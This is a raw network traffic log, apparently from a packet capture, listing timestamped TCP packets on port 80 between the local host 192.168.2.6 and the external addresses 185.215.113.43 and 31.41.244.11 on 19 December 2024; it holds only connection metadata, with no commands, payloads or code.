Dec 19, 2024 08:09:04.019136906 CET	49779	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:04.138622999 CET	80	49779	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:05.743799925 CET	80	49779	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:05.743874073 CET	49779	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.259825945 CET	49779	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.260257006 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.380955935 CET	80	49779	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:07.381005049 CET	80	49798	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:07.381094933 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.381136894 CET	49779	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.385374069 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:07.505002022 CET	80	49798	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:09.256305933 CET	80	49798	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:09.256869078 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:09.283986092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:09.403655052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:09.403817892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:09.455907106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:09.575447083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729302883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729366064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729382038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729413033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729423046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729460001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729480982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729522943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729568005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729569912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729604006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729608059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729639053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729650974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729715109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729751110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729789972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.729798079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.729831934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.849154949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.849225044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.849253893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.849332094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.853285074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.853353977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.921461105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.921538115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.921545029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.921590090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.925537109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.925606966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.925630093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.925688982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.932009935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.932082891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.932120085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.932178020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.940341949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.940438986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.940448046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.940506935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.948739052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.948817015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.948849916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.948898077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.957142115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.957210064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.957268000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.957335949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.965528011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.965622902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.965637922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.965692043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.973948002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.974060059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.974081039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.974109888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.982301950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.982393026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.982414961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.982481956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.990716934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.990783930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.990812063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.990866899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.998687983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.998734951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:10.998774052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:10.998822927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.041173935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.041275024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.041311026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.041377068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.044877052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.044956923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.113714933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.113805056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.113815069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.113884926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.115945101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.116009951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.116044998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.116099119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.120589972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.120687008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.120709896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.120764971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.125248909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.125323057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.125365973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.125418901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.129936934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.130011082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.130069971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.130120039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.134543896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.134561062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.134610891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.134675026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.139153004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.139215946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.139301062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.139348984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.143794060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.143857002 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.143886089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.143935919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.148410082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.148458958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.148473024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.148507118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.153913975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.153932095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.153975010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.154021025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.157727003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.157788992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.157880068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.157938004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.164469004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.164484978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.164525986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.164602995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.168395042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.168411970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.168457985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.168493032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.172852993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.173033953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.173074961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.173103094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.176479101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.176536083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.176656008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.176918983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.180128098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.180145025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.180186033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.180218935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.183727026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.183744907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.183810949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.187372923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.187391043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.187428951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.187480927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.190871000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.190927029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.191036940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.191097021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.194569111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.194585085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.194624901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.194659948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.198255062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.198271990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.198337078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.198338032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.201049089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.201066017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.201119900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.204071999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.204179049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.204221964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.204262972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.234821081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.234899044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.234932899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.235047102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.305850983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.305953979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.306011915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.306013107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.307219028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.307421923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.307707071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.307779074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.307841063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.307900906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.310555935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.310631037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.310669899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.310715914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.313391924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.313474894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.313544989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.313599110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.316190958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.316272974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.316463947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.318916082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.319020033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.319092989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.321717024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.321733952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.321799040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.321804047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.324197054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.324315071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.324397087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.326805115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.326859951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.326945066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.329253912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.329438925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.329509020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.331667900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.331784964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.331852913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.334116936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.334208012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.334244967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.334280968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.336489916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.336621046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.336658001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.336710930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.338927031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.338995934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.339077950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.339131117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.341356039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.341418028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.341428995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.341490030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.343758106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.343839884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.343884945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.343943119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.346280098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.346309900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.346359968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.346395016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.348628044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.348695993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.348699093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.348743916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.351087093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.351170063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.351202011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.351417065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.353502035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.353568077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.353568077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.353621960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.355875969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.355937958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.356028080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.356149912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.358308077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.358393908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.358484983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.358647108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.360765934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.360819101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.360835075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.360923052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.362593889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.362734079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.362756014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.362863064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.364363909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.364464045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.364471912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.364675045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.366153955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.366271973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.366364956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.367974043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.368041992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.368077993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.368177891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.369791985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.369908094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.369915962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.370060921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.371579885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.371660948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.371695042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.371859074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.373362064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.373485088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.373511076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.373560905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.375200033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.375267029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.375292063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.375349045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.377012968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.377144098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.377197027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.378801107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.378818035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.378906012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.380656958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.380810022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.497705936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.497793913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.497824907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.497883081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.498461008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.498523951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.498668909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.498883009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.499993086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.500052929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.500570059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.500629902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.500679016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.500875950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.502150059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.502213955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.502230883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.502285957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.503613949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.503679991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.503722906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.503890991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.505279064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.505338907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.505425930 CET	80	49802	31.41.244.11	192.168.2.6
